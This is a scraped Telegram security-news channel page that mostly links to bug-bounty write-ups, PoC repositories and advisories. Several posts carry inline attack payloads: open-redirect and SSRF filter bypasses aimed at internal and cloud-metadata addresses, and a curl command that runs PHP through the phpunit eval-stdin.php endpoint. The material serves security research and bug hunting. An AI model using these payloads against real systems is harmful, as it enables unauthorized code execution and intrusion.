Information Security
@sec_nerd_en
414 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
414 subscribers
Information Security
https://hackking.net/open-redirect-bypasser/
147 views
Information Security
https://github.com/ShutdownRepo/shellerator
GitHub
GitHub - ShutdownRepo/shellerator: Simple CLI tool for the generation of bind and reverse shells in multiple languages
Simple CLI tool for the generation of bind and reverse shells in multiple languages - ShutdownRepo/shellerator
149 views
Information Security
https://medium.com/@ozguralp/google-maps-api-not-the-key-bugs-that-i-found-over-the-years-781840fc82aa
Medium
Google Maps API (Not the Key) Bugs That I Found Over the Years
After publishing my blog post Unauthorized Google Maps API Key Usage Cases, and Why You Need to Care and scanner script for it, I got…
138 views
Information Security
https://medium.com/@sp2417487/a-story-of-rs-10k-bounty-within-minutes-67045a574f42
Medium
A Story of Rs.10k Bounty within minutes
Hello everyone i hope you guys are doing great in this quarantine i decided to write small blog post about my months older bug please have…
136 views
Information Security
https://ahussam.me/intigriti-easter-xss-challenge/
ahussam.me
Intigriti Easter XSS Challenge Write-up • Abdullah Hussam
Hey all,
131 views
Information Security
Open Redirect Bypass
?redirect=https://test.target.com > accepts any subdomain of target to redirect
?redirect=https://google.comğ.target.com > "Ğ" is a Turkish character, server can't render it and changes it to "?"
So it redirects to http://google.com/?target.com
#bugbounty #bugbountytip
221 views
Information Security
https://www.securify.nl/advisory/SFY20200419/cisco-anyconnect-elevation-of-privileges-due-to-insecure-handling-of-path-names.html
www.securify.nl
Securify - We provide reality checks
Securify provides reality checks to lower security risks and build up resilience against threats. Agile Security, Pentesting (scenario-based) and Red Teaming.
133 views
Information Security
https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
Blogspot
"I'll ask your body": SMBGhost pre-auth RCE abusing Direct Memory Access structs
Posted by hugeh0ge, Ricerca Security NOTE: We have decided to make our PoC exclusively available to our customers to avoid abuse by scr...
125 views
Information Security
https://github.com/james0x40/chrome-webrtc-pocs
GitHub
james0x40/chrome-webrtc-pocs
Contribute to james0x40/chrome-webrtc-pocs development by creating an account on GitHub.
126 views
Information Security
Bypassing SSRF Filter using Enclosed Alphanumerics

AWS --> ①⑥⑨.②⑤④.①⑥⑨.②⑤④
133 views
Information Security
https://pentestmag.com/how-i-hacked-into-your-corporate-network-using-your-own-anti-virus-agent/
Pentestmag
How I Hacked Into Your Corporate Network Using Your Own Antivirus Agent - Pentestmag
How I Hacked Into Your Corporate Network Using Your Own Antivirus Agent by Angelo Ruwantha Recently I was busy with …
139 views
Information Security
#bugbountytip If you found /phpunit/ folder than you can try to execute PHP code by typing the following command:
curl --data "<?php echo(pi());" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
143 views
Information Security
https://github.com/3v4Si0N/RS256-2-HS256
GitHub
GitHub - 3v4Si0N/RS256-2-HS256: JWT Attack to change the algorithm RS256 to HS256
JWT Attack to change the algorithm RS256 to HS256. Contribute to 3v4Si0N/RS256-2-HS256 development by creating an account on GitHub.
157 views
Information Security
https://blog.silentsignal.eu/2020/04/20/uninitialized-memory-disclosures-in-web-applications/
153 views
Information Security
https://www.hackers-arise.com/single-post/2018/12/10/Shodan-Part-2-Finding-Outdated-and-Vulnerable-Systems-Around-the-World
hackers-arise
Shodan, Part 2: Finding Outdated and Vulnerable Systems Around the World
Welcome back my aspiring cyber warriors! In my earlier tutorial, I showed you some of the basics of using Shodan, "the world's most dangerous search engine". In this tutorial, we will expand and extend your knowledge of the capabilities of Shodan to find…
166 views
Information Security
https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html?m=1
Betterhacker
RCE in Hubspot with EL injection in HubL
This is the story of how I was able to get remote code execution on Hubspot 's servers by exploiting a vulnerability in  HubL expression la...
142 views
Information Security
#Sqli #bugbounty

https://t.co/Rg4aZzXGCl
https://t.co/E8pzuztGrs
https://t.co/33rsA6UdcY
https://t.co/cX7uDnrTbw
https://t.co/K5ozYnr9SR
https://t.co/VJrQvjcFq4
https://t.co/qjq65XcPID
https://t.co/cmu9ItaGbp
https://t.co/ynGJv2SRyh

#bugbountytips
Yappare
Tricky Oracle SQL Injection Situation
Recently I learnt few new stuff when solving SQL Injection found during pentest and also bugbounty. One of the new technique that seems new...
150 views
Information Security
https://twitter.com/Naategh_/status/1253264200622882816

#bugbounty #bugbountytips
Twitter
Naategh
The number of zeros in http://127.0.0.1 doesn't matter, So we can use the following payloads to bypass SSRF protection: http://127.1 http://127.000000000000000.001 http://127.000.000.00000000000000001 ... #bugbounty #bugbountytips
137 views
Information Security
https://github.com/rsrdesarrollo/generator-burp-extension
GitHub
GitHub - rsrdesarrollo/generator-burp-extension: Everything you need about Burp Extension Generation
Everything you need about Burp Extension Generation - rsrdesarrollo/generator-burp-extension
137 views
Information Security
https://ahussam.me/Leaking-WordPress-CSRF-Tokens/
133 views